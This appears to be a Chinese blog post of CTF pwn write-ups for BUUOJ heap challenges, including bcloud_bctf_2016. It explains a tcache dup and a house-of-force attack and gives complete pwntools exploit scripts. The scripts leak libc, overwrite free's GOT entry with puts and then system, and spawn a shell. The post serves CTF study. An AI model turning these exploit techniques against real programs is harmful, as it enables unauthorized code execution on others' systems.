通过tcache dup将堆申请道free_got,修改成puts_plt,结合前面overlapping申请堆,申请至未释放堆对其,就可以打印出main_arena地址了。
然后第二次将free_got篡改成system地址,就可以getshell了。

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def new_note(index,size,content):
    conn.recvuntil("your choice:")
    conn.sendline("1")
    conn.recvuntil("index:")
    conn.sendline(str(index))
    conn.recvuntil("size:")
    conn.sendline(str(size))    
    conn.recvuntil("content:")
    conn.send(content)

def delete_note(index):
    conn.recvuntil("your choice:")
    conn.sendline("2")
    conn.recvuntil("index: ")
    conn.sendline(str(index))

def edit_note(index,content):
    conn.recvuntil("your choice:")
    conn.sendline("3")
    conn.recvuntil("index:")
    conn.sendline(str(index))
    conn.recvuntil("content:")
    conn.send(content)

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27084
    conn = remote(HOST ,PORT)
    pause()
    free_got = 0x602018
    puts_plt = 0x400790

    '''第一步:利用程序的逻辑漏洞造成记录heap地址错位0x10'''
    new_note(1,0x90,"ljust")        #这个是为了把原有堆地址对其
    payload = p64(0) + p64(0x601)
    new_note(16,0x400,payload)      #overlapping,fake chunk head
    [new_note(x,0xf0,"/bin/sh\x00") for x in range(2,6)]       # 提前布置堆块空间,为后面的tcache dup预留位置
    
    delete_note(5)                      # 同时为tcache dup做准备
    delete_note(2)
    delete_note(0)                      # 实现idx为0的错位

    '''第二步:篡改idx=2的堆,实现tcache dup,篡改free_got为puts_plt'''
    payload = "\x00"*0x3f0 + p64(0) + p64(0x101) + p64(free_got)
    new_note(7,0x4f0,payload)           # 这里需要注意,申请这么大小也是为了unsorted bin切割部分与未释放的堆地址对齐
    new_note(8,0xf0,"hack_before")
    new_note(9,0xf0,p64(puts_plt))

    '''第三步:通过未释放的堆块泄露libc地址'''
    delete_note(3)
    leak = conn.recvuntil("\n",drop=True)
    leak = u64(leak.ljust(8,"\x00"))
    print hex(leak)
    libc = LibcSearcher("__malloc_hook",leak-96-0x10)
    libc_base = leak - 96 - 0x10 - libc.dump("__malloc_hook")
    print "The libc_base is",hex(libc_base)
    __free_hook = libc_base + libc.dump("__free_hook")
    __malloc_hook = libc_base + libc.dump("__malloc_hook")
    system = libc_base + libc.dump("system")
    realloc = libc_base + libc.dump("realloc")  
    puts = libc_base + libc.dump("puts")
    print "system is ",hex(system)
    print "__free_hook is ",hex(__free_hook)

    '''第四步:再次篡改free_got表至system,实现getshell'''
    edit_note(9,p64(0) + p64(system))
    delete_note(4)

    conn.interactive()

bcloud_bctf_2016(万万没想到时house of force!)

这个真的时没有想到需要用到house of force,而且漏洞的点和32位的strcpy有着强关联。
漏洞点分析
一开始错误看的以为有off-by-null漏洞,结果发现多虑了,人家再new_note是malloc(v2+4),根本不给你机会。其实秉承着前期比赛没有多余的点,再一开始的输入name和org应该是有意义的,而确实漏洞点就在这里。

  • 漏洞一:导致泄露堆地址
    在这里插入图片描述

因为存放堆地址的v2和输入内容相邻,strcpy也会把堆地址复制进堆中,因此在后续输出name的时候就会把v2存放堆地址进行泄露。

  • 漏洞二:导致top chunk size被篡改为Host内容
    原理也是相似的,都是strcpy的锅,最终导致top chunk size被覆盖
    在这里插入图片描述

最终导致top chunk size就被篡改成我们输入的Host的头4位。
然后我们就可以计算堆至程序基地址位置,来控制heap全局变量。将free_got篡改成puts_plt完成libc地址泄露,然后再将free_got篡改成system地址即可

利用代码

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def welcome():
    conn.recvuntil("Input your name:")
    conn.send("\xff"*0x40)
    conn.recvuntil("\xff"*0x40)
    heap_leak = u32(conn.recv(4))
    print "The heap leak is ",hex(heap_leak)
    conn.recvuntil("Org:")
    conn.send("\xff"*0x40)
    conn.recvuntil("Host:")
    conn.sendline("\xff\xff\xff\xff")   
    return heap_leak

def new_note(size,content):
    conn.recvuntil("option--->>")
    conn.sendline("1")
    conn.recvuntil("Input the length of the note content:")
    conn.sendline(str(size))    
    conn.recvuntil("Input the content:")
    conn.sendline(content)

def edit_note(index,content):
    conn.recvuntil("option--->>")
    conn.sendline("3")
    conn.recvuntil("Input the id:")
    conn.sendline(str(index))
    conn.recvuntil("Input the new content:")
    conn.sendline(content)

def delete_note(index):
    conn.recvuntil("option--->>")
    conn.sendline("4")
    conn.recvuntil("Input the id:")
    conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26236
    conn = remote(HOST ,PORT)
    pause()

    puts_plt = 0x08048520
    read_plt = 0x080484C0
    printf_plt = 0x080484D0
    free_got = 0x804B014

    '''第一步:这个welcome很关键,实现了heap地址泄露和top chunk size的篡改,原理看博客解释'''
    heap_leak = welcome()

    '''第二步:执行house of force,将top chunk对齐至heap全局变量'''
    new_note(0x100,"0")     #
    new_note(0x100,"1")     # 这两个堆是预留后续操作heap指针任意地址写用的,因为edit还有size的写入限制

    target_addr = 0x804B118
    new_note(target_addr-heap_leak-0x2e8,"2")   # 将top chunk对齐至heap全局变量
    new_note(0x100,"3")     # 这idx=3的堆指向heap表

    '''第三步:一系列的GOT hijick操作'''
    edit_note(3,p32(free_got) + p32(free_got-0x8))  
    edit_note(0,p32(puts_plt))      # 篡改free got为puts_plt
    delete_note(1)
    conn.recv()
    
    # 泄露libc地址
    libc_leak = u32(conn.recv(4))
    print "The libc leak is",hex(libc_leak)
    libc = LibcSearcher("read",libc_leak)
    libc_base = libc_leak - libc.dump("read")
    print "The libc_base is",hex(libc_base)
    system = libc_base + libc.dump("system")

    edit_note(0,p32(system))        # 篡改free got为system
    payload = p32(0) + p32(0x804B128) + "/bin/sh\x00"   # 让1号堆地址指向/bin/sh\x00字符串
    edit_note(3,payload)
    delete_note(1)

    conn.interactive()

roarctf_2019_realloc_magic(realloc、IO好题,必看!!!)

详细见我单独的博客。
https://blog.csdn.net/qq_35078631/article/details/126913140

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值